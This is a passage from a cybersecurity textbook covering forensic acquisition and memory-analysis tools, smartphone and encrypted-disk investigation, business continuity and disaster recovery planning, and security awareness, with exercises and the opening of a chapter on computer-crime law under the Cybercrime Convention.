copying both disks and physical memory to an external medium. Freeware.
• F-Response: Can be used for copying the physical memory from Unix-, Mac-
and Windows-based systems over the net to an external computer. Commercially
available.
• Linux Memory Extractor (LiME): Can be used for copying the physical
memory from Linux- and Android-based systems to an external medium. Free-
ware.
330 11 Incident Handling and System Availability

• Memoryze™: Can be used for copying the physical memory in Windows- and
Mac-based systems to an external medium. Freeware.
• FTK Imager: Can be used for copying a disk to an external medium. Commer-
cially available (also part of FTK®, see below).
The observant reader will probably have noticed that these programs are in general
intended for use in ordinary computer systems such as PCs, tablets and workstations,
with ordinary OSs such as Unix, Linux, Mac OS or Windows. Mobile units such as
smartphones are so different, that they need to be dealt with in another way, which
we come back to in Sect. 11.1.2.1 below.
When a copy of the disk’s (or the disks’) and maybe also the memory’s contents
has been made, it is essential to store the copy securely and to maintain a chain of
responsibility with details of who made the copy and who handled it afterwards. All
actions made on the copy must be recorded in a log. All analysis must be performed
on the copy and all analysis results must be carefully recorded and stored in a secure
place. If these rules are not followed, the validity of the entire investigation can be
questioned—and a subsequent court case against the attacker will very probably be
lost.
A number of software tools are available for analysing the computer’s state in
order to find suspicious data which could be a sign of an attack. For example: Tools
such as AccessData’s Forensic Toolkit (FTK®) can be used to analyse copies of
Windows disks, and the open-source product The Sleuth Kit (TSK) can analyse both
Windows and Unix disks.
In recent years there has been increasing interest in analysis of the memory. This is
strongly motivated by the appearance of new types of malware, known as Advanced
Persistent Threats (APT’er), which are specifically designed to avoid detection for as
long as possible. APTs are typically used to perform industrial espionage and similar
tasks over a long period of time. To avoid detection, they hide in the computer’s
memory instead of in files on the disk, so they do not leave permanent traces which
can be detected by ordinary antivirus programs. Tools for investigating the memory
have therefore become more common. Two well-known examples are Volatility [62]
and Redline [37], which are both freely available. The fundamental idea in both
these tools is to analyse data structures, which could be products of malware or other
attacks, in the computer’s memory.

11.1.2.1 Investigation of Smartphones

A smartphone differs from an ordinary computer in several ways. Apart from the
obvious difference that it has a built-in functionality for telephony in a GSM or
UMTS network, it is physically much smaller, and its memory is as a rule both
smaller and divided up in another way than, for example, in a PC.
As we saw in Chap. 6, a mobile phone consists of a mobile unit (the physical
phone) and an identity module (IM), which contains the user’s personal information
and can be moved between mobile units, for example if the user buys a new telephone.
The mobile unit contains one or two areas with flash memory and an area with RAM.
11.1 Reacting to Security Incidents 331

Most smartphones also contain space for an SD card, which works as an SSD. The
identity module is based on a UICC pilfer-proof smartcard, which contains its own
little CPU and memory and has its own little operating system on which a SIM or
USIM application runs. The memory is used amongst other things for storing the
user’s personal information, telephone book and most often also the most recently
received text messages. In most smartphones, received text and multimedia messages
are transferred to the mobile unit’s memory or SD card, as the identity module’s
memory gets filled up.
If a smartphone is turned on and contains a valid SIM- or USIM-card when it
is investigated, it will continue to be able to send and receive text and multimedia
messages. These can change the smartphone’s state and maybe even, if the phone
is set up for it, cause a so-called remote wipe, so all stored messages and personal
information are deleted. It is, however, not a simple task to prevent the phone from
communicating via the telephone network without changing its state. Two techniques
which can be used are:
• To place the phone in a Faraday cage. This is a technically secure, but rather
expensive solution, which only professional investigators would normally have
access to.
• To replace the phone’s (U)SIM-card with a Cellular Network Isolation Card (often
abbreviated to CNIC). This is a true copy of the (U)SIM-card, with the correct
IMSI, MSISDN and so on, except for one thing: It does not contain the encryption
key which would normally be shared with the network’s Authentification Center.
The phone can therefore not be attached to the network, but works normally in
all other respects. To produce such a CNIC you need to have access to special
equipment which can store information in a UICC smartcard.
Turning the phone off or putting it into flight mode will disconnect it from all wireless
networks (the telephone network, WiFi networks, Bluetooth etc.), but can give the
investigators the problem that they need to know the PIN code for the SIM-card and
the password or other form of user authentification in order to get the phone working
again afterwards – for example, if further investigations turn out to be needed.
Turning off the phone will of course also prevent taking a copy of the memory.
For many types of smartphone, there are tools which—with a somewhat bigger
risk of changing the phone’s state—can be used to investigate its content directly
instead of a copy. A well-known example is Android Debug Bridge (often known
just as ADB). This is a software tool that can run on an ordinary computer connected
to an Android-based unit, such as a smartphone or tablet, via a USB cable. As the
name indicates, ADB is really a tool for software developers to test and find faults
in software for Android units. For that purpose the developer needs to be able to
inspect the contents of the unit’s memory, disks and so on, and this facility can also
be used for forensic purposes. But, as with other tools for software testing, ADB also
makes it possible to change data in the unit under test, and thus to change the unit’s
state. The investigator must therefore be very careful only to look at things and not
to change anything. Similar functionality is found in development environments (so-
called IDEs) for other OSs for mobile phones, such as Xcode for iOS and Microsoft
Visual Studio for Windows.
332 11 Incident Handling and System Availability

11.1.2.2 Investigation of Encrypted Data

An increasing problem for forensic investigation is the use of systems for encrypting
disks, either for individual files or folders, or for the disk as a whole. Here there is
clearly a big difference between the investigator’s possibilities when the user of the
unit to be investigated is willing to cooperate with the investigator by revealing the
decryption key or the password to the encryption system, and when the user cannot
or will not cooperate. In the first case, the investigator can make a copy of the disk as
usual and decrypt the copy. In the second case, this will not immediately be possible.
As we have seen in Sect. 9.5, a user who wants to protect his data as well as
possible will most often prefer full disk encryption (FDE), combined with pre-boot
authentication, so that the system cannot be started without the user authenticating
himself. The investigator can only breach this barrier by forcing the system to start
from an external disk which is specially set up for starting systems in order to collect
forensic data—a so-called forensic acquisition disk. In order to get the system to start
from another disk than usual, the investigator must as a rule type in a special key
sequence immediately after the machine has been turned on. To use this technique,
the investigator therefore needs to have extensive knowledge of the type of system to
be investigated. A general introduction to this approach can be found in [14].
Yet another trap for the investigator is that certain techniques for encryption of
individual files or folders permit so-called deniable encryption. This means that it is
possible to deny that a particular area on the disk contains encrypted meaningful data.
Some techniques for achieving this make it possible to produce different plaintexts,
depending on which decryption key is used. This makes it possible for a user, who is
asked to show the content of an encrypted file, to show a completely innocent text,
while the file in reality also contains a highly confidential document, which the user
maybe never should have been able to get hold of.
An alternative technique, which is used in a number of generally available systems
for disk encryption, is to create a layered system, rather like Russian matryoshka dolls.
A “container” (a disk or part of a disk) makes up the outermost layer, which contains

Fig. 11.2 Matryoshka dolls: Each doll contains all the dolls which are smaller than itself.

an ordinary file system filled with encrypted random data. Within this file system,
the user will typically create some files with plausible, but not specially confidential,
contents, while the unused space is filled with an inner “container”, in which the data
11.2 Business Continuity Planning 333

which really have to be hidden are encrypted and stored. As the container’s content
is encrypted, it cannot be distinguished from the encrypted random data which the
outer container was initialised with. It is to all intents and purposes invisible. The
now outdated TrueCrypt and its successor VeraCrypt only allow you to create a single
hidden container of this type, but LibreCrypt and BestCrypt, for example, make it
possible to have several hidden containers, which can make the investigator’s task
significantly harder.

11.2 Business Continuity Planning

In most businesses and other organisations, it is important to be able to resume normal

activities as soon as possible after an emergency situation. Business Continuity
Planning (BCP) is a discipline which is used to ensure that this is possible. The main
aim of BCP is described in Requirements 11.1:

Requirements 11.1 (BCP target)

Development and validation of a plan for how the company will re-establish com-
pletely or partially suspended critical functions within an agreed time frame after an
incident or more serious long-term interruption.

BCP is an important step in dealing with risks which have a potentially disastrous
outcome. Its most important elements and their mutual relationships are illustrated
in Fig. 11.3.

System depends on Business

availability continuity
is affected by

Incidents Disasters

require require

Incident
detection Recovery

requires two activities

Backup Restoration

Fig. 11.3 BCP concepts

334 11 Incident Handling and System Availability

11.2.1 The BCP Process

BCP must result in the production of a written plan which makes clear who is to do
what and when. This plan must be re-considered and possibly modified at regular
intervals, so the planning process is a PDCA process, just like risk analysis (see
Sect. 3.6), with the four phases:
• Plan: Analysis & design
• Do: Implementation
• Check: Testing & evaluation
• Act: Maintenance & (if needed) correction of errors and omissions.
It is important to use an iterative approach to planning like this, which reflects
the fact that the world changes continually. The organisation itself may intoduce a
new management focus or new technology, and attacks continually change form and
target.

11.2.2 BCP Analysis

A continuity plan is based on a preceding analysis of how robust the system is. This
analysis involves two activities:
1. Impact analysis, whose aim is to determine which functions are critical for the
organisation, and for each of these critical functions to define some recovery
targets. These targets are expressed in terms of two parameters:
• Recovery Point Objective, RPO: The acceptable loss of data, measured in
operation time of the system (e.g. corresponding to two hours of operation).
• Recovery Time Objective, RTO: The acceptable time for restoration of the
system’s functionality (e.g. 5 hours).
It is obvious that the organisation will normally want to make both the RPOs
and RTOs as small as possible. But the smaller they are to be, the more it will
cost. It is the management’s task to find a balance between the desirable and the
financially acceptable. We come back to this aspect of things in Sect. 11.3 on
Disaster Recovery Planning below.
2. Threat analysis, whose aim is to find the most important threats which threaten
continued operation—for example fire, sabotage, hurricanes, cyberattacks, power
cuts, and so on. For each threat, scenarios for what can happen, if the threat
becomes real, are described. Basically, this analysis is completely analogous to
methods such as OCTAVE which were described in Chap. 3.
11.3 Disaster Recovery Planning 335

11.2.3 BCP Resource Requirements

A significant part of BCP is to make a plan for how many resources are needed
to restore normal operation, and how they are to be organised. This plan involves
consideration of factors such as:
• Personnel: Who is to be involved in the task of recovery?
• Roles and resposibilities: Which person is to be in charge of the recovery process?
What do the others do? If some of the persons involved are absent, who will if
necessary replace them?
• Localities: Which localities are to be used, if operations cannot continue in the
usual localities?
• Equipment: What equipment must be present in order to continue operations?
• Outsourcing: Must there be contact to external partners or suppliers, who can
deal with some of the organisation’s tasks?
It is important to remember that a significant incident puts a heavy psychological
strain on the people involved. If you see video recordings from sessions where staff
are training to handle incidents, it is common to observe a sense of panic as the
trainees see the situation getting more and more out of control. The BCP should
stress the importance of keeping calm and doing what the person in charge instructs
you to do. This is even more important in the case of a full-scale disaster, which we
consider next.

11.3 Disaster Recovery Planning

A special task within BCP is the planning of reactions to disasters of various types.
A disaster is in this context an incident which is so extensive that it leads to operation
of the IT system being interrupted for a significantly long period. This area of BCP
is generally known as Disaster Recovery Planning, or just DRP. Since incidents
due to cyberattacks differ in many ways from incidents due to natural or man-made
disasters of other types, the more specific term Cyberincident Recovery Planning,
or just CIRP, is often used in such cases instead.
One of the central ideas in DRP is to introduce sufficient redundancy1 into the
systems, so it is possible to survive a disastrous failure in some of them by using the
others. For example, you could set up a diesel generator which can be started if there
is a failure in the electricity supply. Or you might maintain a complete copy of an
important database in another location. Or you may need alternative possibilities for
communication if the usual network infrastructure has been damaged or taken over
by attackers.
It is important to realise that the redundant elements must be sufficiently separated,
so they do not all get hit by the same disaster. This means, amongst other things,
1 This means extra items of hardware, software or data, which are not needed during normal
operations
336 11 Incident Handling and System Availability

that the alternative locations must not be in the same building complex, the same
electricity supply area, or the same area which can be hit by hurricanes, earthquakes
or floods. Similarly, after a cyberattack the normal infrastructure of the IT system
may be corrupted, exposing data accessible via this infrastructure to the attackers. So
the redundant copies of data, which may be needed for recovery after a cyberattack,
must be kept within an infrastructure which is isolated from the normal infrastructure
until they are needed.
The importance of not having everything connected together in the same infras-
tructure was clearly illustrated by the effects of the NotPetya cyberattack in 2017.
The large global company Mærsk Shipping, for example, lost the use of 4000 servers
and 45000 client computers on a world-wide basis, as their network was not divided
up in such a way that they could stop the spread of the malware.

11.3.1 Phases of Recovery

Most systematic procedures for recovery after a disaster assume that a number of
prerequisites have been fulfilled, so that informed decisions can be made when and
if disaster actually strikes. The US government organisation NIST, for example, has
defined a Cybersecurity Framework (CSF) [68] which illustrates this. In the CSF,
the prerequisites for successful recovery fall into three groups, as shown in Fig.11.4:
Identification: Identification of critical resources and definition of the priority
which each of them should have in the recovery process. These priorities reflect
not only the value of the resources to the company, but also the fact that, after
a disaster, sub-systems usually have to be restarted in a particular order in order
to rebuild a working system. For example, even though e-mail has a high value
to the company, it may be technically essential to start an authentication server
before restarting the e-mail or other services.

Fig. 11.4 Response and recovery in the NIST Cybersecurity Framework (Source: [11])
11.3 Disaster Recovery Planning 337

Protection: Putting suitable countermeasures into place, so that incidents can be

prevented or their effects limited.
Detection: Putting suitable detection mechanisms into place, so that incidents can
be reacted to as soon as possible.
These steps, which have been discussed in previous chapters of this book, can be
dealt with in good time before the IT system is put into operation.
As mentioned at the start of this chapter, the actual reaction to detection of a
(large or small) event then falls into two phases:
1. Response: This covers activities such as finding out what has actually happened
and taking steps to limit the damage. Maybe there are people who have been
injured or buildings and installations which have been damaged. For physical
events this phase may include activities such as getting hold of suitable emer-
gency services (fire, police, ambulance,. . . ) or activating evacuation plans. For
cyberincidents this may include isolating the affected systems from the outside
world, in order to limit the spreading of an attack. Forensic methods may need
to be used to find out the root cause of the event and an effort must be made to
remove it before recovery is attempted. This may be especially tricky for cyber-
incidents, as attackers may hide malware in unexpected places in computers, so
that it escapes attention. If the cause cannot be found or removed, the affected
systems may need to be completely replaced.
2. Recovery: This is the activity of building up the IT systems to a state which is as
close as possible to their state before the event. Notice the wording here! It may
not actually be possible to achieve 100% recovery, since the RPO for some parts
of the IT systems may be greater than zero. We look at this aspect of recovery in
more detail below.
During both these phases, a number of parallel activities take place. One of the most
important for companies and organisations nowadays is to communicate with their
users and other stakeholders, so as to keep them informed about the nature of the
event and the expected timescale for recovery. Often this aspect of DRP is described
in a communication plan which forms part of the business continuity plan.

11.3.2 DRP Strategies

There are two important questions to be answered when planning how to recover
after a disaster:
1. How do you ensure that data can be recovered?
2. How do you ensure that the entire computer system’s functionality can be re-
established?
Recovery of Data In order to be able to recover data, copies must be created with
the help of some form of backup. There are three main strategies for this:
338 11 Incident Handling and System Availability

1. Backup to tape or other portable medium which is regularly sent to another

location for safe keeping.
• RPO depends on the backup frequency—it is the largest loss which can be
tolerated, and this cannot be smaller than the time between successive backups.
The actual loss can of course be smaller, if the disaster strikes just shortly after
a backup.
• RTO depends on the quantity of data.

Disaster

Backup Backup Backup ... Time

RPO

Fig. 11.5 Backup and loss of data

2. Backup to disk in another location via a network. Nowadays the “other location”
is often a cloud out in cyberspace.
• RPO again depends on the backup frequency.
• RTO depends on the quantity of data and the bandwidth of the network.
3. Automatic mirroring/replication of data.
• RPO and RTO are (almost always) very small: Data are written in two or more
copies simultaneously.
As mentioned previously, the choice of strategy will depend on which balance you
want to achieve between efficiency and costs. As can be seen in Fig. 11.5, RPO
corresponds roughly to the time which passes between two successive instants at
which you take a copy of data for keeping in a safe place. If copies are taken by
ordinary backup, a small RPO will mean that a backup must be taken at short inter-
vals, with the result that the system doesn’t have so much time to do the calculations
which it is really supposed to be doing. On the other hand, if you choose a strategy
based on mirroring, then RPO can be reduced to a very small value, but will usually
require investment in specialised hardware or software (or both) which can ensure
that everything is automatically stored in two copies.
The Challenge of Cryptographic Ransomware For most types of disaster it is
normally not a big problem to decide which strategy to go for—disasters are rare
events and you can reasonably assume that you have time to tidy up after one disaster
before the next one takes place. But in recent years new types of cyberattack have
undermined this assumption. The most troublesome are attacks by cryptographic
ransomware. As we have seen, this is a type of malware which attackers exploit
in order to encrypt the content of the hard disk on the victim’s computer and then
11.3 Disaster Recovery Planning 339

demand a ransom for decrypting it again. The encryption is in general very effective,
and it is extremely unlikely that the encrypted files can be decrypted if the attackers
do not release the necessary decryption key. Attacks of this type can take place at
any time and be repeated at short intervals. This means that the computer’s users risk
losing a good deal of work. An ordinary, daily backup is far from enough to protect
you from this loss. And it is not even certain that a strategy based on mirroring is
good enough, as the “two copies of everything” can turn out to be two copies of the
encrypted data which the attacker has produced.
The best strategies for surviving a large-scale attack with ransomware rely on
using a file system which enables you to take regular snapshots of the content of the
disk. For reasons of efficiency, taking a snapshot does not usually involve taking a
copy of the entire disk—it is only necessary to create a new version of the disk blocks
whose content has been changed since the last snapshot, and to store information
about where the previous versions of these blocks are to be found. This makes
it possible to go back to the state which the disk had at any previous snapshot,
if a ransomware attack seems to have taken place—i.e. if some blocks have been
unexpectedly encrypted. This is illustrated in Fig. 11.6, which for the sake of example
shows the progress of work when editing some portions of text.
Each disk block in the figure is for simplicity assumed to have a capacity of
just two characters (in real IT systems, blocks can typically hold several thousand
characters). The initial contents of the blocks is the two chunks of text (“arsnova?”
and “aristotalos”) shown as “Snapshot 0”. During an editing session, the user of the
computer changes “snova?” in the first text to “smagna” and “ta” in the second text
to “to”. The new portions of text are stored in a previously empty set of blocks (47
to 50) and a new snapshot (“Snapshot 1”) is taken, recording that these blocks are
derived from blocks 37-39 and 44.
In the next edit, the text “to” just placed in block 50 is to be replaced by “te”
and the text “lo” in block 45 by “le”. These new bits of text are placed in blocks 52
and 53 respectively, and Snapshot 2 is taken, recording that these blocks are derived
from blocks 50 and 45. The edited text now consists of the chunks “arsmagna” and
“aristotelos”.
This approach is obviously only effective if you can be certain that the previous
versions of affected blocks are not affected by the attack. There are a number of ways

Snapshot Block number:

35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 ...
0 a r s n o v a ? a r i s t o t a l o s

1 s m a g n a t o

t e l e
2

Fig. 11.6 Progress of work in a file system with snapshots

340 11 Incident Handling and System Availability

of trying to ensure this. Systems which run Windows, for example, offer the user a
Volume Snapshot Service (VSS). Use of this service is, however, in general under the
control of the user, which means that attackers might be able to take control of the
service if they can obtain sufficient privileges to do so. They could then corrupt the
snapshots.
A somewhat more secure approach is offered by file systems such as ZFS and
Btrfs, which offer a Copy-on-write (COW) service. This is based on the idea that
once a block has been written, it cannot be overwritten—it is only possible to read
the contents of the block. So editing (or, for that matter, encrypting) a block is only
possible by making a copy of the contents in a buffer in the computer’s memory,
changing the content of the buffer, and writing the modified buffer contents into an
unused block on the disk—just as in Fig. 11.6.
If you do not have access to a suitable file system (it is probably only a tiny
minority of private homes and small companies who have), the next-best strategy is
to ensure that you have a backup system with redundancy, for example in the form
of two identical external disks. At regular intervals you take a backup on one of the
disks and dismount it from the computer system. Next time you use the other disk
in the same way. This is because a risk with some types of ransomware is that the
backup system also gets encrypted. If you have two backup disks which are never
mounted on the system at the same time, you can be reasonably well protected against
losing access to all your data at once.
Re-establishment of System Functionality To be able to re-establish system func-
tionality, it is necessary to have available a physical computer system which is
essentially identical to the one which has been struck by disaster. There are again
three main strategies for how to approach this problem:
1. “Hot site”: The system (including its data) is replicated in two different locations,
and the two copies run continuously in perfect synchronisation, so the alternative
system can immediately take over if the main system fails.
• RPO and RTO are always as small as possible.
2. “Warm site”: A copy of the physical system is built up in another location, but
data must be recovered from backup before the system can be used.
• RPO depends on backup frequency
• RTO depends on system size and backup technology
3. “Cold site”: Another location with electricity, cooling etc. is available, but a copy
of the system has to be built up, and data have to be recovered, before the system
can be used.
• RPO is the same as for ”Warm site”
• RTO now also depends on the time needed to acquire a new system from the
suppliers.
For this activity there are also considerable differences in the costs involved in the
different strategies. Use of a hot site involves a considerable investment in equipment
11.3 Disaster Recovery Planning 341

to maintain a true mirroring of the IT system in the alternative location, and there
are continual costs for keeping the mirrored system running. On the other hand, the
number of man-hours needed to activate a hot site when disaster strikes is minimal.
A warm site requires an investment in a true copy of the IT system, but there is
no need for specialised equipment for mirroring data, and there are no significant
continual costs for operating the system in the alternative location. On the other hand,
a considerable effort by the personnel is required for transferring data and starting
up the system when disaster strikes.
A cold site requires the least investment of these three strategies: you only need
a locality supplied with electricity and cooling. Everything else is acquired when
the disaster has taken place. But when it takes place, you suddenly stand there with
a large bill and large personnel-related costs for acquisition and installation of a
new system and for transferring software and data to it. Which strategy is the best
will clearly depend on the organisation’s need to keep running—a matter which the
management must decide on.

11.3.3 DRP Testing

Emergency plans must be tested at regular intervals! Of course it is not a good

idea to expose the computer system to a genuine disaster in order to see whether
this situation is handled correctly. But there are a number of commonly used test
methods which can reveal errors and omissions in the plan:
1. Walkthroughs: A group of experienced persons take a critical look at the plan.
2. Exercises: ”Do-as-if” testing of the steps in the plan.
3. Conformance tests: Attempts to recover from a simulated disaster.
With exercises or conformance tests it is at least possible to check many important
things in the plan. For example:
• Do the agreed people turn up in the agreed places?
• Does the system work in the alternative location?
• Can the software configuration from before the disaster be re-established?
• Can data in fact be recovered from backup?
• Can the alternative network service deal with the necessary volume of data?
• Can you achieve the BCP’s target for the maximum degree of loss (RPO)?
• Can you achieve the BCP’s target for the recovery time (RTO)?
In a security-conscious company or organisation, the security policy should demand
regular execution of such exercises and/or tests. This ensures that the staff are kept
in training with respect to how they should behave if a real disaster strikes.
342 11 Incident Handling and System Availability

11.4 Security Awareness

It should be clear that many of the activities described in this chapter require partici-
pation from all members of the organisation. Everyone must, for example, remember
to report suspicious events, everyone must arrange for backup of important data
assets, and everyone must have a clear idea of what to do if a disaster strikes the or-
ganisation. The organisation’s security policy will therefore very often require steps
to be taken to increase the IT users’ awareness of security issues. To some extent this
resembles the need for motivation of users to behave securely, which we looked at in
Chap. 2, but the focus is different, as the intention here is to get all members of the
organisation to act in the best interests of the organisation, rather than just focussing
on how to behave most securely in their own area of activity. Even the cleaning staff
and other auxiliary staff, especially those who may be around at all hours of the day
and night where they may observe unusual things going on, need to be kept aware
of the need to be alert to security risks!
A typical formulation, again for the (fictive) organisation NNNN, might look as
in Fig. 11.7.
There can unfortunately be a long way from the formulation of rules in a policy
to a state in which everyone follows these rules. Security awareness does not pop up
by itself, but has to be set going with the help of motivating campaigns, for example
using the social media, posters, quizzes, games, videos, prizes for good initiatives
etc. It is here that the management (also in private homes...) must show leadership
by setting a good example and ensuring that the campaigns are a success.

Security awareness
• Implementation of and compliance to a security policy cannot and must not be a task solely
for the management.
• All employees have a responsibility for helping to protect the organisation’s information
against unauthorised access, modification, destruction and theft.
• All employees must therefore receive information and training in information security at a
relevant level.
• The information security policy must make clear to everybody who has a relationship with
NNNN that the use of information and information processing systems is subject to rules
and codes of practice. In this way, security problems can be prevented, damage can be
limited and recovery of information can be ensured.
• If a threat to or breach of information security is discovered, the Information Security
Officer must be informed immediately.
• Persons who breach the information security policy or the rules derived from it can be
subjected to disciplinary steps in accordance with NNNN’s current personnel policy.

Fig. 11.7 A policy for security awareness

11.4 Security Awareness 343

Look after your private data!

Data thieves are after them.

Fig. 11.8 An element in an awareness campaign (Illustration: Peter Heydenreich, with the artist’s
permission)

Useful concepts which you should now know about

In this chapter, the following concepts were introduced:

• A security incident
• Incident response
• An incident report
• Computer forensics
• Volatile data
• Bit-for-bit copying
• A chain of responsibility
• An Advanced Persistent Threat (APT)
• Memory analysis
• An identity module (IM)
• A cellular network isolation card (CNIC)
• Remote wipe
• Deniable encryption
• Business continuity
• BCP
• Impact analysis
• A recovery target
• A recovery point objective (RPO)
• A recovery time objective (RTO)
• Disaster planning
344 11 Incident Handling and System Availability

• DRP
• Backup
• A snapshot
• A hot site
• A warm site
• A cold site
• A walkthrough
• A conformance test
• Security awareness
You should check that you understand their definitions and can give examples of
contexts where they play a role.

Further reading

Maintaining business continuity is a topic which business managers are very much
focused on. It has its own practice and its own jargon. A useful source explaining the
jargon is the BCI/DRJ Glossary of Terms, compiled by the Business Continuity Insti-
tute (BCI) and the Disaster Recovery Journal (DRJ) in collaboration. It can be found
at URI https://www.thebci.org/resource/bci---drj-glossary-of-terms.html
A collection of articles on recovery after disasters is “IT Disaster Recovery”,
which can be found at URI https://www.continuitycentral.com/itc.htm. NIST in
USA have produced an excellent, more specific report on recovery after cybersecurity
events, “Guide for Cybersecurity Event Recovery” [11].
There is a lot of literature about investigation of possible cyberattacks, both
generally and in specific operating systems. NIST have produced both a general
report “Guide to Integrating Forensic Techniques into Incident Response” [57] and
a more specific report on investigation of mobile equipment, “Guidelines on Mobile
Device Forensics” [9]. The authorities in many countries often have local sets of
instructions which specify how such forensic investigation must be carried out in
order for the evidence to be valid in a subsequent court case. An example from
the UK is the police guide “Good Practice Guide for Computer-Based Electronic
Evidence” [100].

Exercises

11.1 The recovery plan

You are working on the task of writing a plan for recovery after disasters that can
be imagined to strike your company, which develops and sells medical equipment.
What reaction will you demand for the following incidents?
a) The company’s normal ISP is hit by a cyberattack, and is “down” for several
hours, so neither e-mail nor the systems for online customer orders can operate.
Exercises 345

b) Hackers discover the passphrase giving access to the company’s internal wireless
network, and use this to inject a worm which spreads into many of the company’s
workstations and reveals confidential information to the hackers.
c) There is a fire in the switch which is supposed to turn the company’s UPS unit on
and off automatically.
d) A ransomware attack encrypts 95% of the files on the company’s main database
server. The attackers demand 5 million US dollars in bitcoins to decrypt them.
11.2 Testing the recovery plan
How would you test that the planned reaction in Exercise 11.1 is actually performed?
11.3 Backup in the cloud
Your company has a large database, whose contents are absolutely essential for the
company’s activities. The database holds about 6 Tbytes of data and is backed up
incrementally to a cloud. Access to the cloud goes via a network connection which
can transfer data at 100 Mbit/s. One day, the server room in which the database
system is placed is hit by a violent cyberattack, so the database has to be relocated
to an alternative system which the company maintains as a warm site. If data can be
fetched and stored with the network connection’s full speed, how long will it take
before the database’s data are 100% re-established?
11.4 Incidents and disasters
Which of the following events (which are independent of one another) would you
classify as an incident and which as a disaster? Give reasons for your answer.
a) A virus attack in a laboratory in which students at a university can experiment
with LAN technology.
b) Vandalisation of a web site set up by an online pizza company.
c) A hacker attack on the IT infrastructure within a supplier of database systems,
resulting in a breakdown in the infrastructure.
d) Disclosure of a patient’s personal data by an employee at a hospital.
e) A ransomware attack on an airline’s datacenter, where the passengers’ reservations
are stored.
11.5 Memory analysis
This exercise is for readers who like to try out practical tools: Install a software
system for memory analysis. Two easily available, free examples mentioned in this
chapter can be downloaded from the Internet:
• Volatility from http://www.volatilityfoundation.org/releases
• Redline from https://www.fireeye.com/services/freeware/redline.html
Use your chosen tool to investigate a computer which you have access to—and on
which you are allowed to install new software and investigate the computer’s internal
state. (Not all workplaces allow this, so remember to ask whether you may!)
11.6 The awareness campaign
Make a series of posters which can be used in an awareness campaign for cybersecu-
rity. The campaign is to run for two months, during which a new poster is to be put
346 11 Incident Handling and System Availability

up every week. So there should be a certain progression in the messages which are
presented, so that the reader does not get tired of seeing monotonous slogans. You
may choose for yourself which aspects of cybersecurity the campaign should focus
on: phishing, backup, confidentiality, use of wireless communication or whatever
else you find important just at the moment.

11.7 Impact analysis

Many IT users would like to have access to e-mail 24/7. It is probably an illusion that
this can done in practice. But which recovery targets (expressed as RPO and RTO)
do you yourself set for e-mail in various situations:
a) On your PC or corresponding stationary computer?
b) On your tablet?
c) On your smartphone?
Chapter 12
Law and Ethics

When you work with cybersecurity, it is important to have a feeling for what is “right”
and what is “wrong”, both legally and morally. The law sets some limits for what you
can be allowed to do without being punished. Ethics relates particularly to behaviour
which is immoral or harmful for others without necessarily being illegal. In this
chapter we look at what the law says about various topics related to cybersecurity,
and we discuss relevant ethical rules which apply to “good behaviour” in relation to
processing of data.
We focus here on one of the central legal questions in relation to cybersecurity,
namely: How does the law support the protection of computers and data? This
involves two topics in particular:
1. Computer crime, its definition and penalties
2. Protection of personal data
The law is also concerned with the question of rights in relation to software and
data through copyright law, patent law etc., with consumer protection and with the
rights of software developers and employees, but these topics do not have much
significance for cybersecurity and we will not consider them further in this book.
The law differs from country to country, but many countries in Europe have
formulated their laws in this area on the basis of international conventions agreed
within the Council of Europe. This is a body whose principal aim is to uphold
human rights, democracy and the rule of law in Europe. Its members include 47
European countries—in fact all generally recognised European countries except
Russia, Belarus, Kazakhstan and Vatican City—and many of its conventions are also
open for signature by non-European countries. This is important in an area such as
cybersecurity, which often involves cross-border activity on a global scale.
It is difficult to dodge the fact that legal texts are written by lawyers for lawyers,
and that there are many legal terms which the reader of this book perhaps does
not know—or perhaps does not know the meaning of in a legal context. We will
try to explain the most important terms as we go along, in the hope that this will
make it easier for those readers who want to study the actual law texts more closely.
Let us start with a concept which turns up in many contexts: a person. In law a

© The Author(s), under exclusive license to Springer Nature Switzerland AG 2024 347
R. Sharp, Introduction to Cybersecurity, Undergraduate Topics in Computer Science,
https://doi.org/10.1007/978-3-031-41463-3_12
348 12 Law and Ethics

(a) The Technical University of (b) Albert Einstein, a natural person. (Photo:
Denmark (DTU), a legal person F. Schmutzer p)

Fig. 12.1 Legal and natural persons

distinction is made between a natural person, which is an individual human being,

and a legal person, which is a collection of people who can collectively act as a single
entity with respect to the law. Figure 12.1 illustrates the idea. A legal person can
for example be the State, a local authority, a university (as in the figure), or—under
certain conditions—a company, an association or a trust. It can even be the estate of a
dead person, a bankrupt entity or a supranational organisation such as the European
Union.

12.1 Computer Crime

Is it legal to hack into another person’s computer and look at their photos? Is it
legal to start a DoS attack because you are tired of receiving spam mail from a
particular source? Is it legal to connect your computer to somebody else’s wireless
home network, so you can stream films from the Internet? Is it legal to investigate
how well somebody else’s computer is protected against attacks?
The answers to these questions in European countries are formulated in The
Council of Europe’s Treaty 185: Cybercrime Convention [19] from 2001, which
has also been ratified by Canada, USA, South Africa and Japan. The aim of this
convention was to update the law in relation to crimes committed with the help of
computers, especially through the Internet. Previously it had been a problem that in
12.1 Computer Crime 349

many countries the law was formulated as though all documents were on paper, and
all attacks were physical attacks on property. There was also very limited recognition
of the fact that crime could occur across borders.
The main aim of the convention was to define:
• What is criminal behaviour in cyberspace?
• Which criminal responsibility do individual IT users and ISPs have?
• Which mandatory powers should be available to the authorities, so that they can
investigate cybercriminal activities more easily? For example: the power to oblige
an ISP to preserve traffic data or to decrypt encrypted information.
• Jurisdiction: Where was the crime committed (in legal language this is known
as locus delicti)? Which country’s laws should be used? How should conflicts of
jurisdiction be dealt with?
After an introductory chapter, the convention contains two large parts (Chapters II
and III), which deal with the steps which must be taken on respectively a national and
international level, in order to fulfil the requirements of the convention, and a final
part (Chapter IV) which deals with more technical questions related to the convention
itself, such as ratification, reservations and how to make subsequent changes in the
convention.

12.1.1 Which Acts Must Be Considered Illegal?

Section 1 of Chapter II deals with substantive criminal law. This means it defines
what the individual countries must introduce in their criminal code in order to cover
cybercrime. Firstly, it must be illegal to perform any of the following acts deliberately
and without permission:
a) Gaining access to a computer system,
b) Intercepting data transmissions in or between computers,
c) Modifying or deleting data in a computer,
d) Preventing correct operation of a computer by input, transmission, modification
or deletion of data,
e) Producing, selling, importing or by other means making available a program, ap-
paratus or password which can be used to commit any of the illegal acts described
above. Possession of one of the forbidden objects must also be considered as a
criminal act.
It is important to notice that these various acts are only to be considered criminal if
they are performed on purpose and without permission. It is, for example, not illegal
